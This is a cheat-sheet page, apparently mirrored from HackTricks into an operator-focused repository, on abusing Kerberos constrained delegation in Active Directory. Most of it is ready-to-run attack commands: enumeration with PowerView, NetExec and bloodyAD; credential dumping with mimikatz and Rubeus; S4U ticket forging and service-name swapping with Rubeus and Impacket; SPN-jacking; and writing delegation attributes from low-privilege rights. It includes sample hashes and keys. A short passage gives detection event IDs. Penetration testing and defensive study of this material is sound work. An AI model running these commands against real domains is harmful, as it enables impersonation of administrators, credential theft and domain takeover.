daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

constrained-delegation.md (14866B)


      1 ---
      2 title: "Constrained Delegation"
      3 section: "Windows"
      4 sectionSlug: "windows-hardening"
      5 sourcePath: "src/windows-hardening/active-directory-methodology/constrained-delegation.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/active-directory-methodology/constrained-delegation.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Constrained Delegation
     14 
     15 ## Constrained Delegation
     16 
     17 Using this a Domain admin can **allow** a computer to **impersonate a user or computer** against any **service** of a machine.
     18 
     19 - **Service for User to self (_S4U2self_):** Any **service account that owns an SPN** can usually obtain a TGS to itself on behalf of an arbitrary user. If the account also has [TrustedToAuthForDelegation](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) (T2A4D) in _userAccountControl_, that TGS is **forwardable**, which is what makes protocol transition directly useful for **classic constrained delegation**.
     20 - **Service for User to Proxy(_S4U2proxy_):** A **service account** can obtain a TGS on behalf of a user to the SPNs listed in **msDS-AllowedToDelegateTo**. The evidence ticket used in S4U2Proxy must be a **forwardable** ticket to the delegating service: either a real client-to-service ticket captured from the victim or one generated with **S4U2Self + T2A4D**.
     21 
     22 **Note**: If a user is marked as ‘_Account is sensitive and cannot be delegated_’ in AD, or is a member of **Protected Users**, you will usually **not be able to impersonate** them through constrained delegation. In modern domains, prefer **AES** material over RC4-only assumptions when targeting delegation-enabled accounts.
     23 
     24 This means that if you **compromise the hash of the service** you can **impersonate users** and obtain **access** on their behalf to any **service** over the indicated machines (possible **privesc**).
     25 
     26 Moreover, you **won't only have access to the service that the user is able to impersonate, but also to any service** because the SPN (the service name requested) is not being checked (in the ticket this part is not encrypted/signed). Therefore, if you have access to **CIFS service** you can also have access to **HOST service** using `/altservice` flag in Rubeus for example. The same SPN swapping weakness is abused by **Impacket getST -altservice** and other tooling.
     27 
     28 Also, **LDAP service access on DC**, is what is needed to exploit a **DCSync**.
     29 
     30 ```bash
     31 # Powerview
     32 Get-DomainUser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto
     33 Get-DomainComputer -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto
     34 
     35 #ADSearch
     36 ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes cn,dnshostname,samaccountname,msds-allowedtodelegateto --json
     37 ```
     38 
     39 ```bash
     40 # NetExec: enumerate constrained / unconstrained / RBCD in one shot
     41 nxc ldap dc.corp.local -u user -p 'Password123!' --find-delegation
     42 
     43 # bloodyAD / msldap: LDAP-first enumeration from Linux
     44 bloodyAD -H dc.corp.local -d corp.local -u user -p 'Password123!' msldap constrained
     45 bloodyAD -H dc.corp.local -d corp.local -u user -p 'Password123!' msldap s4u2proxy
     46 ```
     47 
     48 **Operator note:** don't trust **ADUC** or BloodHound screenshots alone for **gMSA/sMSA** review. Those accounts often hide the usual Delegation tab, so enumerate the raw **`userAccountControl`** and **`msDS-AllowedToDelegateTo`** attributes directly.
     49 
     50 ```bash
     51 # Generate TGT + TGS impersonating a user knowing the hash
     52 Rubeus.exe s4u /user:sqlservice /domain:testlab.local /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:ldap /ptt
     53 ```
     54 
     55 ### Protocol-transition vs Kerberos-only constrained delegation
     56 
     57 If the compromised account has **T2A4D**, you can usually complete the full **`S4U2Self -> S4U2Proxy`** chain from only the service key/TGT.<sup>[[2]](#references)</sup>
     58 
     59 If it only has **`msDS-AllowedToDelegateTo`** (the classic **"Use Kerberos only"** mode), the delegation can still be abusable, but the evidence ticket for S4U2Proxy must be a **real forwardable user-to-service ticket** for the delegating service. In practice that means stealing or capturing a victim TGS from **LSASS/ccache** and feeding it into the second stage (`/tgs:` in Rubeus). A **non-forwardable** S4U2Self ticket is **not** enough for classic constrained delegation; if that is your only evidence ticket, check [Resource-based Constrained Delegation](/hacktricks/windows-hardening/active-directory-methodology/resource-based-constrained-delegation) instead.<sup>[[2]](#references)</sup>
     60 
     61 ### Cross-domain constrained delegation notes (2025+)
     62 
     63 Since **Windows Server 2012/2012 R2** the KDC supports **constrained delegation across domains/forests** via S4U2Proxy extensions. Modern builds (Windows Server 2016–2025) keep this behaviour and add two PAC SIDs to signal protocol transition:<sup>[[1]](#references)</sup>
     64 
     65 - `S-1-18-1` (**AUTHENTICATION_AUTHORITY_ASSERTED_IDENTITY**) when the user authenticated normally.
     66 - `S-1-18-2` (**SERVICE_ASSERTED_IDENTITY**) when a service asserted the identity through protocol transition.
     67 
     68 Expect `SERVICE_ASSERTED_IDENTITY` inside the PAC when protocol transition is used across domains, confirming the S4U2Proxy step succeeded.<sup>[[1]](#references)</sup>
     69 
     70 ### Impacket / Linux tooling (altservice & full S4U)
     71 
     72 Recent Impacket (0.11.x+) exposes the same S4U chain and SPN swapping as Rubeus:<sup>[[2]](#references)</sup>
     73 
     74 ```bash
     75 # Get TGT for delegating service (hash/aes)
     76 getTGT.py contoso.local/websvc$ -hashes :8c6264140d5ae7d03f7f2a53088a291d
     77 
     78 # S4U2self + S4U2proxy in one go, impersonating Administrator to CIFS then swapping to HOST
     79 getST.py -spn CIFS/dc.contoso.local -altservice HOST/dc.contoso.local \
     80          -impersonate Administrator contoso.local/websvc$ \
     81          -hashes :8c6264140d5ae7d03f7f2a53088a291d -k -dc-ip 10.10.10.5
     82 
     83 # Inject resulting ccache
     84 export KRB5CCNAME=Administrator.ccache
     85 smbclient -k //dc.contoso.local/C$ -c 'dir'
     86 
     87 # If you already have a ticket/ccache for the right host, rewrite only the service class offline
     88 # (same SPN-swapping idea as Rubeus /altservice)
     89 tgssub.py -in Administrator.ccache -out Administrator_HOST.ccache -altservice host/dc.contoso.local
     90 export KRB5CCNAME=Administrator_HOST.ccache
     91 ```
     92 
     93 If you prefer forging the user ST first (e.g., offline hash only), pair **ticketer.py** with **getST.py** for S4U2Proxy. `tgssub.py` is also handy when you already have a working ccache and only need to swap the service class for the same host. See the open Impacket issue #1713 for current quirks (KRB_AP_ERR_MODIFIED when the forged ST doesn't match the SPN key).<sup>[[2]](#references)</sup>
     94 
     95 ### SPN-jacking: redirecting a constrained-delegation target
     96 
     97 Classic constrained delegation authorizes an **SPN string** in `msDS-AllowedToDelegateTo`, not an immutable target SID. During S4U2Proxy, the KDC resolves the account that currently owns that SPN and encrypts the service ticket with that account's long-term key. Therefore, control of the delegating account plus `WriteSPN` over another service/computer account can redirect an unchanged delegation constraint without `SeEnableDelegationPrivilege`.<sup>[[5]](#references)[[6]](#references)</sup>
     98 
     99 Two variants exist:<sup>[[5]](#references)</sup>
    100 
    101 - **Ghost SPN-jacking:** the allowed SPN is orphaned because its former owner was deleted, renamed, or had the SPN removed. Add it directly to the desired target account.
    102 - **Live SPN-jacking:** the SPN still belongs to a source account. Duplicate-SPN validation normally blocks the destination write, so `WriteSPN` is needed on both objects: remove it from the source, add it to the target, obtain the ticket, and restore the original registration.
    103 
    104 The following abstracted Linux flow moves an allowed SPN, runs S4U as the compromised delegating principal, and rewrites the ticket's service name to a useful service on the new target.<sup>[[5]](#references)[[6]](#references)</sup>
    105 
    106 ```bash
    107 # Omit this deletion for a ghost SPN
    108 bloodyAD --host "$DC" -d "$DOMAIN" -u "$WRITER" -p "$PASSWORD" \
    109   msldap delspn "$SOURCE_DN" "$DELEGATED_SPN"
    110 
    111 bloodyAD --host "$DC" -d "$DOMAIN" -u "$WRITER" -p "$PASSWORD" \
    112   msldap addspn "$TARGET_DN" "$DELEGATED_SPN"
    113 
    114 getST.py -dc-ip "$DC_IP" -spn "$DELEGATED_SPN" \
    115   -impersonate Administrator -altservice "cifs/$TARGET_FQDN" \
    116   "$DOMAIN/$DELEGATING_ACCOUNT:$DELEGATING_PASSWORD"
    117 ```
    118 
    119 `-altservice` is the second, separate primitive. The S4U2Proxy ticket was encrypted for the account that now owns `$DELEGATED_SPN`; because the ticket service name (`sname`) is outside the encrypted ticket body, tooling can substitute another service class/hostname whose service uses that same account key. SPN-jacking first changes **which account key** protects the ticket, while service-class substitution changes **where that ticket is presented**.<sup>[[5]](#references)[[6]](#references)</sup>
    120 
    121 For live jacking, reverse the two LDAP writes immediately after ticket acquisition to avoid breaking the legitimate service. On DCs with computer-account auditing enabled, hunt for Security event **4742** where `servicePrincipalName` is removed from one computer and shortly added to another, especially when the SPN hostname differs from the destination's `dNSHostName`. Correlate with event **4769**: S4U2Self presents the same account as client/service, while S4U2Proxy populates **Transited Services**.<sup>[[5]](#references)</sup>
    122 
    123 ### Automating delegation setup from low-priv creds
    124 
    125 If you already hold **GenericAll/WriteDACL** over a computer or service account, you can push the required attributes remotely without RSAT using **bloodyAD** (2024+):
    126 
    127 ```bash
    128 # Set TRUSTED_TO_AUTH_FOR_DELEGATION and point delegation to CIFS/DC
    129 KRB5CCNAME=owned.ccache bloodyAD -d corp.local -k --host dc.corp.local add uac WEBSRV$ -f TRUSTED_TO_AUTH_FOR_DELEGATION
    130 KRB5CCNAME=owned.ccache bloodyAD -d corp.local -k --host dc.corp.local set object WEBSRV$ msDS-AllowedToDelegateTo -v 'cifs/dc.corp.local'
    131 ```
    132 
    133 This lets you build a constrained delegation path for privesc without DA privileges as soon as you can write those attributes.
    134 
    135 - Step 1: **Get TGT of the allowed service**
    136 
    137 ```bash
    138 # The first step is to get a TGT of the service that can impersonate others
    139 ## If you are SYSTEM in the server, you might take it from memory
    140 .\Rubeus.exe triage
    141 .\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap
    142 
    143 # If you are SYSTEM, you might get the AES key or the RC4 hash from memory and request one
    144 ## Get AES/RC4 with mimikatz
    145 mimikatz sekurlsa::ekeys
    146 
    147 ## Request with aes
    148 tgt::ask /user:dcorp-adminsrv$ /domain:sub.domain.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05
    149 .\Rubeus.exe asktgt /user:dcorp-adminsrv$ /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /opsec /nowrap
    150 
    151 # Request with RC4
    152 tgt::ask /user:dcorp-adminsrv$ /domain:sub.domain.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
    153 .\Rubeus.exe asktgt /user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi
    154 ```
    155 
    156 > [!WARNING]
    157 > There are **other ways to obtain a TGT ticket** or the **RC4** or **AES256** without being SYSTEM in the computer like the Printer Bug and unconstrain delegation, NTLM relaying and Active Directory Certificate Service abuse
    158 >
    159 > **Just having that TGT ticket (or hashed) you can perform this attack without compromising the whole computer.**
    160 
    161 - Step2: **Get TGS for the service impersonating the user**
    162 
    163 ```bash
    164 # Obtain a TGS of the Administrator user to self
    165 .\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator
    166 
    167 # Obtain service TGS impersonating Administrator (CIFS)
    168 .\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS
    169 
    170 #Impersonate Administrator on different service (HOST)
    171 .\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:HOST /outfile:TGS_administrator_HOST
    172 
    173 # Get S4U TGS + Service impersonated ticket in 1 cmd (instead of 2)
    174 .\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /user:dcorp-adminsrv$ /ticket:TGT_websvc.kirbi /nowrap
    175 
    176 #Load ticket in memory
    177 .\Rubeus.exe ptt /ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local
    178 ```
    179 
    180 ```bash
    181 #Obtain a TGT for the constrained-delegation user
    182 tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
    183 
    184 #Get a TGS for the service you are allowed (in this case time) and for other one (in this case LDAP)
    185 tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLAR CORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorpdc.dollarcorp.moneycorp.LOCAL
    186 
    187 #Load the TGS in memory
    188 Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~ dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi"'
    189 ```
    190 
    191 [**More information in ired.team.**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation) and [**https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61**](https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61)<sup>[[3]](#references)[[4]](#references)</sup>
    192 
    193 ## References
    194 
    195 - [1] [Kerberos Constrained Delegation Overview (Microsoft Learn, 2025)](https://learn.microsoft.com/en-us/windows-server/security/kerberos/kerberos-constrained-delegation-overview)
    196 - [2] [Abusing Delegation with Impacket (Part 2): Constrained Delegation (Black Hills, 2025)](https://www.blackhillsinfosec.com/abusing-delegation-with-impacket-part-2/)
    197 - [3] [Kerberos Constrained Delegation (ired.team)](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation)
    198 - [4] [Kerberosity Killed the Domain: An Offensive Kerberos Overview (SpecterOps)](https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61)
    199 - [5] [Elad Shamir - SPN-jacking: An Edge Case in WriteSPN Abuse](https://www.semperis.com/blog/spn-jacking-an-edge-case-in-writespn-abuse/)
    200 - [6] [0xdf - HTB Pirate](https://0xdf.gitlab.io/2026/09/05/htb-pirate.html)